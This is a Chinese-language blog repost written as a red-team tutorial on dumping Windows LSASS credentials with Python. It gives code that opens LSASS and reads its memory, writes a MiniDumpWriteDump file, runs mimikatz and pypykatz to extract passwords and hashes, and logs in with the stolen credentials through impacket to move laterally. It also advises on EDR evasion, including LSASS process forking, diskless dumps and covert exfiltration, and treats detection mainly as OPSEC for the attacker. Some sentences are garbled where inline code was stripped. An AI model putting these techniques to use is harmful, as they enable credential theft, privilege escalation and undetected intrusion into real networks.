使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用

admin 2025年5月14日15:55:28评论2 views字数 8277阅读27分35秒阅读模式
使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用

红队成员重视 LSASS,因为它实际上掌握着王国的钥匙。Windows 的本地安全机构子系统服务 (LSASS) 强制执行身份验证,并将所有活动用户凭据(密码、NT/LM 哈希、Kerberos 票证等)存储在其内存中。通过转储这些机密,攻击者可以获得权限提升(例如获取域管理员哈希)和横向移动能力。简而言之,LSASS 保存着每个登录用户的加密密码和令牌数据,使其成为一个诱人的目标。一旦这些凭据被盗,攻击者就可以冒充用户、提升权限或在网络中不受控制地移动。

即使是现代的后漏洞利用框架也预设了 LSASS 转储机制。例如,Cobalt Strike和其他工具捆绑了类似 Mimikatz 的功能,可以自动将 LSASS 转储到其信标有效载荷中。在实际操作中,攻击者通常会获取 SYSTEM 级权限,并立即运行凭据转储例程(Mimikatz 或类似程序)来捕获已登录的凭据,以实现持久化和数据透视。事实上,凭据转储至关重要,以至于 Windows 10 引入了LSA 保护:它将 LSASS 标记为受保护进程轻量级 (PPL),以阻止大多数第三方访问。总而言之,从 LSASS 获取凭据是后漏洞利用的关键策略——它可以解锁新的管理员会话,并将攻击传播到域的深处。

了解 LSASS

LSASS 进程Windows上的服务)负责处理操作系统的lsass.exe所有安全策略和身份验证功能。每次用户登录时,LSASS 都会验证密码并将该信息(以及 Kerberos 票据数据、LSA 密钥、缓存的域凭据等)保存在内存中。简而言之,任何涉及密码和令牌的操作都会经过 LSASS。这使得它成为一个理想的攻击目标:通过提取 LSASS 的内存,攻击者可以提取明文密码、NTLM 哈希、Kerberos 密钥以及操作系统验证用户身份所需的其他密钥。

根据设计,只有 SYSTEM 帐户或拥有 SeDebugPrivilege 权限的管理员才能打开 LSASS 的内存。因此,攻击者必须先提升到 SYSTEM 权限,或者SeDebugPrivilege在其进程上启用 ,才能接触 LSASS。这种权衡是值得的:一旦访问 LSASS 内存,它就会提供凭据,让你可以冒充任何已登录(或曾经登录)的用户。实际上,你可能会提取“NTLM”密码哈希、LAN 管理器 (LM) 哈希(在较旧的系统上)、缓存域哈希 (DCC) 以及实时 Kerberos 票证材料。所有这些都可以被破解或稍后重放(传递哈希、传递票证),从而在网络中横向移动或提升权限。

访问 LSASS 的挑战

LSASS 受到严密的防御。Windows 可以将其标记为受保护进程(PPL),以便只有其他已签名且受保护的进程(例如 MSA 或 Credential Guard 组件)才能打开它。在现代系统中,LSASS 通常作为隔离服务(Lsaiso.dll虚拟安全模式)运行,阻止未经签名的读取。即使 LSA 保护处于关闭状态,大多数防病毒或 EDR 产品也会钩住LSASS 访问权限。事实上,许多 AV 产品会在句柄创建时注册内核回调,专门用于阻止未经授权的句柄lsass.exe。例如,AV 可能会OpenProcess()完全阻止您的进程调用 LSASS。

为了成功,我们的 Python 工具必须克服这些障碍。我们需要提升权限(至少是管理员权限SeDebugPrivilege,最好是NT AUTHORITYSYSTEM)。我们必须避免或规避 API 钩子,以便像ReadProcessMemory()或 这样的调用MiniDumpWriteDump()不会触发警报。并且,我们应该尽量减少占用空间(不将恶意二进制文件写入磁盘),以便防御者无法轻易发现我们正在转储 LSASS。简而言之,LSASS 转储需要巧妙的规避:特权上下文、未挂钩的内存读取以及对文件写入的隐秘处理。

倾销策略

直接内存读取(ctypes + WinAPI)

一种方法是通过 Python 手动读取 LSASS 的内存页面。使用标准 Windows API(OpenProcessReadProcessMemory),我们可以将 LSASS 内存复制到我们的进程中,并在其中搜索凭据。在 Python 中,这可以通过ctypes( 或pywin32) 完成。例如,你可以启用调试权限,找到 LSASS 的 PID(例如通过psutil),然后:

import ctypes, ctypes.wintypes as wintypes
# Constants
PROCESS_QUERY_INFO = 0x0400
PROCESS_VM_READ      = 0x0010

# Find LSASS PID (e.g. with psutil)
pid = get_lsass_pid()  # assume this function returns LSASS PID
ifnot pid:
raise RuntimeError("LSASS process not found")

# Open LSASS process (requires SeDebugPrivilege)
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
h_proc = kernel32.OpenProcess(PROCESS_QUERY_INFO | PROCESS_VM_READ, False, pid)
ifnot h_proc:
raise ctypes.WinError(ctypes.get_last_error())

# Read memory from LSASS
addr = ctypes.c_void_p(0x10000000)   # example base address
buffer = ctypes.create_string_buffer(0x1000)
bytesRead = wintypes.SIZE_T(0)
success = kernel32.ReadProcessMemory(h_proc, addr, buffer, len(buffer), ctypes.byref(bytesRead))
if success:
data = buffer.raw[:bytesRead.value]
print("Read {} bytes from LSASS at 0x{:08x}".format(bytesRead.value, addr.value))

这段代码会手动将 LSASS 内存块复制到 中data,然后可以在其中搜索与“sekurlsa”相关的结构或明文密码。实际上,你会循环遍历相关的内存区域,查找已知签名。但请注意:对或 的每次调用都会受到 EDR 的监控。事实上,正如一张幻灯片所示,钩住这些 API 的杀毒软件会发现“工具打开 LSASS”“工具读取内存”。因此,虽然这种方法有效,但它是最不隐蔽的选择。我们需要隐藏或混淆这些调用,以确保工具的运行安全。OpenProcessReadProcessMemory

小型转储创建(MiniDumpWriteDump)

更常见的策略是创建 LSASS内存转储并在外部进行解析。Windows 提供了MiniDumpWriteDumpAPI(在 中dbghelp.dll)用于将进程内存快照写入文件。例如,任务管理器的“创建转储文件”会MiniDumpWriteDump在后台调用。在 Python 中,我们可以通过 调用它ctypes

from ctypes import wintypes
dbghelp = ctypes.windll.dbghelp
# Define MiniDumpWriteDump arguments (as in Mohit Dabas’s example)
dbghelp.MiniDumpWriteDump.argtypes = [
wintypes.HANDLE, wintypes.DWORD, wintypes.HANDLE, wintypes.DWORD,
wintypes.LPVOID, wintypes.LPVOID, wintypes.LPVOID]
dbghelp.MiniDumpWriteDump.restype = wintypes.BOOL

# Open LSASS and output file handles
h_file = kernel32.CreateFileW("lsass.dmp", 0x40000000, 0, None, 2, 0, None)
pid = get_lsass_pid()
h_lsass = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
# Perform the dump
MINIDUMP_FULL = 0x00000002
success = dbghelp.MiniDumpWriteDump(h_lsass, pid, h_file, MINIDUMP_FULL, None, None, None)
ifnot success:
print("MiniDumpWriteDump failed:", ctypes.get_last_error())

这段代码(基于现有的 Python 概念验证)会写入一个lsass.dmp包含 LSASS 内存的文件。然后,您可以使用工具(例如 mimikatzsekurlsa::minidump或 Python 解析器)离线解析该转储。实际上,防御者会检测到文件的创建dbghelp 的调用。然而,一个众所周知的好处是,使用 dbghelpMiniDumpWriteDump相当于使用合法工具:例如 Windows 自己的任务管理器或rundll32 comsvcs.dll MiniDump调用完全相同的函数。一些红队依赖这种“依赖 Windows”的技巧:调用MiniDumpWriteDumpCOMSVCS 或 COMSVCS 让操作系统完成工作,而不是投放新的二进制文件。

我们还可以将转储文件隐藏在内存或命名管道中。例如,如果我们创建一个内存文件映射(通过CreateFileMappingMapViewOfFileINVALID_HANDLE_VALUE,就可以将 LSASS 转储到该共享部分,而无需触及磁盘。这虽然比较高级,但确实可行:MiniDumpWriteDump可以写入任何有效句柄,包括由内存支持的句柄。实际上,我们可以将转储文件CreateFile写入命名管道或NUL:避免磁盘 I/O(尽管 Windows 仍然会记录 CreateFile 调用)。这样做的目的是将转储文件保存在磁盘之外,以逃避文件监控。

调用 Mimikatz(和 pypykatz)

经典的 LSASS 转储器是 Mimikatz 的sekurlsa模块。我们可以通过多种方式在 Python 中利用它。最简单的方法是调用进程。例如,复制mimikatz.exe到目标机器上并执行:

import subprocess
result = subprocess.run([
"mimikatz.exe", "privilege::debug", "sekurlsa::logonPasswords", "exit"
], capture_output=True, text=True)
print(result.stdout)

这将运行 mimikatz 的命令来提升权限并转储凭据。输出将列出用户名和密码/哈希值。当然,写入mimikatz.exe磁盘会产生很大的噪音(杀毒软件会立即标记)。攻击者通常会在内存中加载 Mimikatz (例如,反射注入 DLL 或使用 PowerShell)。在 Python 中,可以使用ctypes一些ctypes.CFUNCTYPE技巧直接加载和调用 Mimikatz 的 DLL 导出,但这很复杂。

一个有吸引力的 Python 原生替代方案是pypykatzSkelSec 工具包的一部分)。Pypykatz 本质上是用 Python 重写的 Mimikatz。它既可以在实时系统上运行,也可以在转储文件上运行。例如:

import pypykatz
# Parse live LSASS (requires same privileges as mimikatz)
katz = pypykatz.go_live()
for session in katz.logon_sessions:
for cred in session.credentials:
print(f"{cred.username}\{cred.domain} : {cred.password}")

或者要解析文件,请使用katz = pypykatz.parse_minidump("lsass.dmp")。无论哪种情况,pypykatz 都会像 一样提取凭据sekurlsa::logonPasswords。优点是 pypykatz 完全在 Python 中运行(因此无需单独的二进制文件)。但是,它仍然需要完整的内存转储或实时内存句柄才能工作,因此它继承了转储的隐蔽性问题。

隐身和 EDR 规避

EDR 产品会积极监控 LSASS。聪明的转储程序会尽可能地隐藏在“盲点”中。例如,Diego Capriotti 的“Living-Off-the-Blindspot”技术建议完全在合法的 Python 解释器中运行,以达到混入的目的。由于 Python(3.7 及以上版本)可以作为独立的签名二进制文件,因此在其下运行的代码python.exe可能会避开某些用户模式钩子——所有遥测数据都看起来像是来自受信任的签名者。同样,将 Python 进程安排为休眠状态或仅在非工作时间转储可以减少警报。

另一个高级技巧是LSASS 分叉。您无需直接转储 LSASS,而是调用鲜为人知的 Windows NtCreateProcessEx(或其更高级别的包装器)将 LSASS“克隆”到新进程中。代码步骤如下:1)获取lsass.exe具有PROCESS_CREATE_PROCESS(和调试)权限的句柄(仍然需要 SeDebug),NtCreateProcessEx并将 LSASS 句柄作为调用ParentHandle。这将产生一个新的挂起子进程,其内存是 LSASS 的副本。至关重要的是,没有创建新线程,因此不会触发许多进程创建回调(EDR 警报)。然后,人们可以在分叉的MiniDumpWriteDump进程上(而不是真正的 LSASS 上)绕过一些保护措施。Bill Demirkapi将此演示为一种隐秘的 LSASS 转储方法。(副作用:Windows 日志显示一个新的“lsass.exe”进程,其父进程为“lsass.exe”,这很奇怪,并且本身可以作为检测签名。)

其他巧妙的规避思路包括句柄继承和欺骗。例如,创建一个新的良性进程(例如svchost.exe),但将其作为 LSASS 的子进程(例如 fork)生成,以便传入并使用 LSASS 的句柄。然后使用该句柄读取内存。这样,真正的 LSASS 进程就不会打开其他进程,许多日志看起来也正常。同样,可以禁用转储文件句柄上的直写缓存,或使用备用 API(部分VirtualAllocExReadProcessMemory)来分段操作。在所有情况下,都应避免将可疑的可执行文件写入磁盘。例如,直接从内存加载支持库(使用无文件导入技术)可以将所有内容保留在 RAM 中。

最后,尝试其他转储 APIrundll32 comsvcs.dll,MiniDump像 Sysinternals这样的原生工具procdump.exe -ma是“已签名/受信任的”,因此可能引发的警报较少(尽管它们仍然会生成事件)。在后台使用此类内置实用程序(即使通过 Python 启动)也可能看似合法。

检测和 OPSEC 考虑事项

从防御者的角度来看,转储 LSASS 信息非常危险。正如一张幻灯片所示,转储的每个阶段都可以被钩住:EDR 可以看到“OpenProcess(lsass)”“ReadProcessMemory”“CreateFile(lsass.dmp)”。它可能会相应地记录 Windows 事件或 Sysmon 警报。常见信号包括进程访问事件(例如,任何在 LSASS 上调用 OpenProcess 的进程的 Sysmon 事件 ID 10)和进程创建事件(例如,新建taskmgr.exerundll32.exe转储 LSASS)。取证日志可能会显示安全事件 4672(特权令牌)和 4698/4688(用于指示意外任务)。如果使用 MiniDumpWriteDump 写入磁盘文件,Sysmon 还会标记文件创建(事件 ID 11)。

LSASS 转储的一个臭名昭著的缺陷是由分叉技巧产生的:Windows 日志将显示第二个lsass.exe进程。在4688 进程创建日志中,“新进程名称”可能是lsass.exe(克隆)带有父进程lsass.exe。防御者可能会注意到这个异常(“LSASS 衍生了 LSASS”)。一些研究指出,审计日志错误地将创建者报告为lsass.exe——这显然是漏洞。如果您通过合法方法(rundll32 或 procdump)转储 LSASS,管理员可能会查找这些工具的使用情况。当然,经典的检测方法是检测 Mimikat z 本身(加载的模块、内存中的签名)。

行为检测也能发现转储行为。例如,如果 Python 突然调用ReadProcessMemory数百万次,或者某个异常进程(例如chrome.exe尝试打开 LSASS)试图打开 LSASS,就会触发启发式检测。分小块转储或随机化读取模式会有所帮助。监控您自己的操作:在测试机器上检查常见的审计日志(事件 ID 4688/11/10),以确保您的工具的操作尽可能隐蔽。始终假设分析师会将任何 LSASS 句柄与风险关联起来。

集成到 C2 工作流

在全面交战中,LSASS 转储只是杀伤链中的一个步骤。通常,转储 LSASS 并提取凭证后,您需要将这些凭证输入 C2 工具包,以进行横向移动和持久化。例如,使用 Python 的 Impacket 库,您可以窃取用户名/密码或哈希值,并在其他系统上执行命令。Impacketwmiexec.py允许psexec.py您使用 NTLM 或 SMB 协议,利用收集到的凭证在远程主机上运行 Shell。在 Python 脚本中,它可能如下所示:

from impacket.smbconnection import SMBConnection
conn = SMBConnection('TARGETHOST', 'TARGETHOST')
conn.login('Alice', 'P@ssw0rd', domain='CORP')
print("Connected, launching remote shell...")
# Now use conn or spawn a session for lateral actions

为了实现自动化,C2 信标可以循环遍历 IP 范围,使用每个新的凭证进行横向移动。一些红队工具(例如 LSASSY)甚至将远程转储与 Python 解析相结合:它们使用 Impacket 通过 WMI/COM 读取另一台主机的 LSASS,然后使用 pypykatz提取凭证。最终目标始终如一:将凭证重新汇入漏洞利用链(转储的凭证可以破解高权限帐户或建立新的管理员会话)。

即使您只是在本地转储 LSASS,也应该通过 C2 通道传递代码(例如,通过 Beacon 在受感染的主机上生成 Python),并谨慎地泄露结果。避免简单的文件投放;考虑将输出通过管道传输回服务器或写入已打开的套接字。从那里,您可以将凭据输入到密码喷洒脚本中,或者如果您有 krbtgt 哈希,则生成 Kerberos“黄金票证”。

概括

从 LSASS 转储凭证是后漏洞利用中一个强大(且非常嘈杂)的阶段。在 Python 中,我们有多种方法:直接使用 读取内存ReadProcessMemory、使用MiniDumpWriteDump创建转储文件或调用 Mimikatz/pypykatz 解析 LSASS。每种方法都必须针对 EDR/AV 检测进行权衡:尝试停留在已签名的进程中,避免写入磁盘,或使用鲜为人知的 API(例如进程分叉)来绕过钩子。务必解释您的步骤:例如,启用 SeDebug 权限是访问 SYSTEM 进程的必要条件。谨慎起见,这些技术可以成为 C2 驱动操作的基石:转储 LSASS → 解析凭证 → 用于新会话。将 Python 的灵活性与对 Windows 内部机制和 EDR 启发式算法的了解相结合,可以让您有效且隐秘地自动提取 LSASS 凭证。

原文始发于微信公众号(安全狗的自我修养):使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月14日15:55:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用https://cn-sec.com/archives/4063120.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息